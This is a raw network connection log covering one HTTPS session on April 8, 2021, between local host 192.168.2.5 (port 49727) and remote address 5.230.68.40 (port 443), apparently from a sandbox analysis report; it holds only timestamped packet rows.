Apr 8, 2021 18:46:40.261327982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.261380911 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.261413097 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.294998884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295057058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295114994 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295166016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295166969 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295224905 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295252085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295280933 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295334101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295336008 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295387030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295439959 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295449018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295506001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295574903 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295588970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295638084 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295681953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295696020 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295737028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295790911 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295805931 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295842886 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295892000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295943975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.295974970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.295996904 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296006918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296061993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296114922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296120882 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296166897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296221018 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296227932 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296283007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296334982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296374083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296391964 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296427965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296479940 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296482086 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296533108 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296535969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296590090 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296644926 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296652079 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296709061 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296760082 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296813011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296818972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296864986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296916008 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296917915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.296963930 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.296971083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297024965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297075033 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297075033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297132969 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297183037 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297183990 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297238111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297290087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297343016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297346115 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297421932 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297476053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297480106 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297527075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297528028 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297588110 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297641993 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297693968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297698021 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297745943 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297786951 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297818899 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297832012 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.297841072 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297894955 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297949076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.297950983 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298012972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298070908 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298122883 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298130989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298181057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298233032 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298249006 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298286915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298338890 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298340082 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298393011 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298394918 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298458099 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298501968 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298516989 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298556089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298609018 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298662901 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298712015 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298752069 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298762083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298814058 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298815012 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298820972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.298876047 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298916101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.298971891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299022913 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299031019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299077034 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299128056 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299140930 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299180031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299230099 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299235106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299258947 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299292088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299345016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299391985 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299396992 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299458981 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299475908 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299494028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299546003 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299555063 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299596071 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299649000 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299701929 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299736023 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299755096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299802065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299837112 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299840927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299882889 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299892902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299947977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.299984932 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.299998999 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300062895 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300120115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300124884 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.300170898 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300203085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.300226927 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300278902 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300308943 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.300333023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300385952 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300426006 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.300441027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300503016 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300543070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.300575972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.300590992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.335055113 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335103035 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335141897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335211992 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.335282087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335320950 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335381985 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.335436106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335475922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335536003 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.335638046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335679054 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335696936 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.335782051 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335946083 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.335999966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336009979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.336030006 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336092949 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.336116076 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336178064 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.336266041 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336307049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336368084 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.336584091 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336627007 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336683989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.336688042 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.336904049 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337016106 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337083101 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.337641001 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337701082 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337755919 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337773085 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.337798119 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337826967 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337857008 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.337881088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337881088 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.337938070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.337999105 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338022947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338082075 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338139057 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338145971 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338180065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338236094 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338278055 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338293076 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338330030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338372946 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338387966 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338412046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338428020 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338463068 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338505030 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338525057 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338555098 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338613033 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338654995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338670969 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338692904 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.338707924 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.338732958 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339189053 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339232922 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339271069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339273930 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339288950 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339314938 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339371920 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339378119 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339415073 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339452982 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339517117 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339551926 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339615107 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339673042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339689970 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339735985 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339751005 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339849949 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339895964 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.339911938 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.339950085 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340003014 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340010881 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340147972 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340230942 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340295076 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340306997 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340365887 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340408087 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340423107 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340440989 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340460062 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340528965 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340574980 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340588093 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340609074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340641022 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340679884 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340692043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340743065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340779066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340825081 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340850115 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340867043 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340895891 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340939045 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.340955019 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.340987921 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341041088 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341049910 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341077089 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341125011 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341137886 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341161966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341201067 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341253042 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341255903 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341293097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341336966 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341353893 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341394901 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341382027 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341468096 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341514111 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341562986 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341573000 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341609001 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341612101 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341660023 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341697931 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341746092 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341752052 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341779947 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341814995 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341831923 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341862917 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341867924 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.341912031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341955900 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.341970921 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342001915 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342045069 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342067957 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342081070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342125893 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342168093 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342180967 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342201948 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342226028 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342257023 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342257977 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342271090 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342292070 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342340946 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342344046 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342396975 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342444897 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342452049 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342487097 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342534065 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342540979 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342570066 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342611074 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342643976 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342670918 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342684031 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342710972 CEST	49727	443	192.168.2.5	5.230.68.40
Apr 8, 2021 18:46:40.342731953 CEST	443	49727	5.230.68.40	192.168.2.5
Apr 8, 2021 18:46:40.342747927 CEST	49727	443	192.168.2.5	5.230.68.40
